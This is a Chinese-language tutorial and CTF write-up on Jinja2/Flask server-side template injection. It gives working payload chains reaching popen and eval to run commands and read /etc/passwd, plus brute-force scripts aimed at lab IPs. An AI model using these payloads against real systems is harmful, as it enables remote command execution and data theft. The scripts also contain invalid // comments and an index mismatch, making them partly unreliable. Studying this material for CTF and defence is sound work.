目录
1、原理简述
2、常用payload及相关脚本
(1)''.__class__
(2)''.__class__.__base__
(3)''.__class__.__base__.__subclasses__()
(4)''.__class__.__base__.__subclasses__()[xx]
(5)''.__class__.__base__.__subclasses__()[xx].__init__.__globals__
(6)函数调用
① 子类可以直接调用的函数
② 重载函数
③ 内嵌函数
(7)常用脚本
① 找类的位置
② 找危险函数eval、popen位置
(8)比较通用的脚本
(9)__mro__[xx]
3、实战:攻防世界 Web_python_template_injection
漏洞成因:flask
flask是使用Jinja2来作为渲染引擎的,网站根目录下的templates文件夹是用来存放html文件,即模板文件。flask的渲染方法有render_template和render_template_string两种,render_template()是用来渲染一个指定的文件的,render_template_string则是用来渲染一个字符串的,不正确的使用flask中的render_template_string方法会引发SSTI。
from flask import Flask,request,render_template_string
app = Flask(__name__)
@app.route('/test')
def index():
str = request.args.get('myon')
html_str ='''
{{str}}
'''
return render_template_string(html_str,str = str)
if __name__ == '__main__':
app.debug = True
app.run()
上面代码将传入的字符串直接当成字符串去传递给html_str代码,不会解析
而当我们将代码改为
from flask import Flask,request,render_template_string
app = Flask(__name__)
@app.route('/test')
def index():
strinput = request.args.get('myon')
html_str ='''
{}
'''.format(strinput)
return render_template_string(html_str)
if __name__ == '__main__':
app.debug = True
app.run()
这里我们可以控制输入,这是直接进行渲染,并且会进行解析
比如我们传入?myon={{7*7}}便会得到49的回显,说明被执行了
{{}}是变量包裹标识符,不仅可以传递变量,还可以执行一些简单的表达式
首先进行一个简单判断,确实存在SSTI
//读取当前类
//读取当前类的父类
//读取object下的所有子类
//选择其中的一个子类
//初始化并加载该类下的可用函数
注意:至于为什么用的是79,117,64,看完(7)就明白了
比如文件读取
''.__class__.__base__.__subclasses__()[79]["get_data"](0,"/etc/passwd")
比如危险函数popen
''.__class__.__base__.__subclasses__()[117].__init__.__globals__['popen']('ls').read()
//不加read()返回的是地址
加上read()
先使用__builtins__加载内嵌函数,再调用内嵌函数
''.__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")
//eval()里面就可以写python代码
''.__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('whoami').read()")
''.__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('id').read()")
注意:针对题目有无参数以及传参方式的不同我们需要写不同的脚本
import html
import requests
url='http://1.14.110.159:18080/flasklab/level/1' //替换成题目的url
def find_class_num():
for i in range(500):
parm_name='code'
parm_value = "{{''.__class__.__base__.__subclasses__()[" + str(i) +"]}}"
data = {parm_name:parm_value}
print(data)
re = requests.post(url,data=data).text //本题是只允许post传参
htmltest =html.unescape(re)
print(htmltest)
if '_frozen_importlib_external.FileLoader' in re: //替换成你想查找的类
print(i)
return i
find_class_num() //如果存在这个类,则会输出该类所在位置
跑完之后我们发现存在_frozen_importlib_external.FileLoader这个类,且位置是[79]
接下来便可调用该类下的get_data函数去进行文件读取【参考 (6)①】
import html
import requests
url='http://1.14.110.159:18080/flasklab/level/1' //替换成题目的url
def find_eval():
for i in range(500):
parm_name='code'
parm_value = "{{''.__class__.__base__.__subclasses__()[" + str(i) +"].__init__.__globals__['__builtins__']}}"
data = {parm_name:parm_value}
print(data)
re = requests.post(url,data=data).text //这里也是post传参
htmltest =html.unescape(re)
# print(htmltest) //只找函数位置,若想看详细回显则可以取消注释
if 'popen' in re:
print(i)
return i
find_eval()
跑出来发现位置为[64],接下来我们便可利用内嵌函数eval 进行命令执行【参考(6)③】
这个脚本同样适用于找popen函数,有一点小修改
因为popen是重载函数,所以要去掉用于加载内嵌函数的__builtins__
(其实也不一定,可以加上和去掉都试试,因为具体情况还是取决于题目给的环境)
import html
import requests
url='http://1.14.110.159:18080/flasklab/level/1' //替换成题目的url
def find_popen():
for i in range(500):
parm_name='code'
parm_value = "{{''.__class__.__base__.__subclasses__()[" + str(i) +"].__init__.__globals__}}" //popen是重载函数,所以要去掉用于加载内嵌函数的__builtins__
data = {parm_name:parm_value}
print(data)
re = requests.post(url,data=data).text
htmltest =html.unescape(re)
#print(htmltest)
if 'popen' in re: //修改查找的函数名
print(i)
return i
find_popen()
发现也存在,位置是[117],用法参考【(6)②】
准确来说我们是先找popen函数,没找到再去找eval函数
如果globals下面没有可以直接利用的重载函数,就加载内嵌函数,使用内嵌函数来命令执行。
各位可以自己测试和修改
import html
import requests
url=''
parm_name=''
def find_class_num(class_name):
for i in range(500):
parm_value = "{{''.__class__.__base__.__subclasses__()[" + str(i) +"]}}"
data = {parm_name:parm_value}
re = requests.post(url,data=data).text
htmltest =html.unescape(re)
print(htmltest)
if class_name in re:
print(f"{class_name}所在的位置:",i)
return i
def find_eval(func):
for i in range(0,500):
parm_value = "{{''.__class__.__base__.__subclasses__()[" + str(i) +"].__init__.__globals__['__builtins__']}}"
data = {parm_name:parm_value}
# print(data)
print(f"正在查找第{i}个类下的{func}")
re = requests.post(url,data=data).text
htmltest =html.unescape(re)
# print(htmltest)
if func in re:
print(i)
print(f"find,利用:{parm_value}")
return i
if __name__ == '__main__':
print("请求方式是post,get方式请更改函数里面的请求参数。")
url = input("输入URL:")
parm_name = input("输入参数:")
choice=eval(input("操作:1,查找类,2,查找内嵌函数:"))
if choice==1:
class_name = input("输入查找类:")
find_class_num(class_name)
if choice ==2:
func = input("输入查找的函数:")
find_eval(func)
这个也是用来读取父类,和__base__类似,因为有时候base会被过滤掉,我们就可以用这个,
里面的xx表示你要读取它的上几级,比如__mro__[1]就相当于__base__ 都是读取上一级类型,
但xx不一定为1,可以往上读取很多级,只要它存在更高级别的父类就可以。
比如:
使用base查找发现不对
换用mro,便可以找到(前提是这个object父类存在)
eval、popen、import这些函数都可以跑,有时候在重载,有时候在内嵌,最好都试试
这道题是不支持post传参,这里我们编写get传参的脚本
import html
import requests
url='http://61.147.171.105:59139/'
def find_class_num():
for i in range(0,500):
# parm_value = "{{''.__class__.__mro__[2].__subclasses__()[" + str(i) +"]}}" //跑类位置
parm_value ="{{''.__class__.__mro__[2].__subclasses__()[" + str(i) +"].__init__.__globals__['__builtins__']}}" //跑函数位置
# data = {url+parm_value}
# print(data)
print(url+parm_value)
re = requests.get(url=url+parm_value).text
# print(re)
# print(htmltest)
if 'eval' in re:
print(i)
return i
find_class_num()
跑出eval函数位置在[58]
直接上前面讲过的与eval函数有关的payload,并修改位置即可
所以payload为:
{{''.__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls').read()")}}
发现fl4g,直接调用cat命令:
{{''.__class__.__base__.__subclasses__()[64].__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat fl4g').read()")}}
拿到 ctf{f22b6844-5169-4054-b2a0-d95b9361cb57}
后面会继续介绍SSTI模板注入的常见绕过,谢谢关注与支持!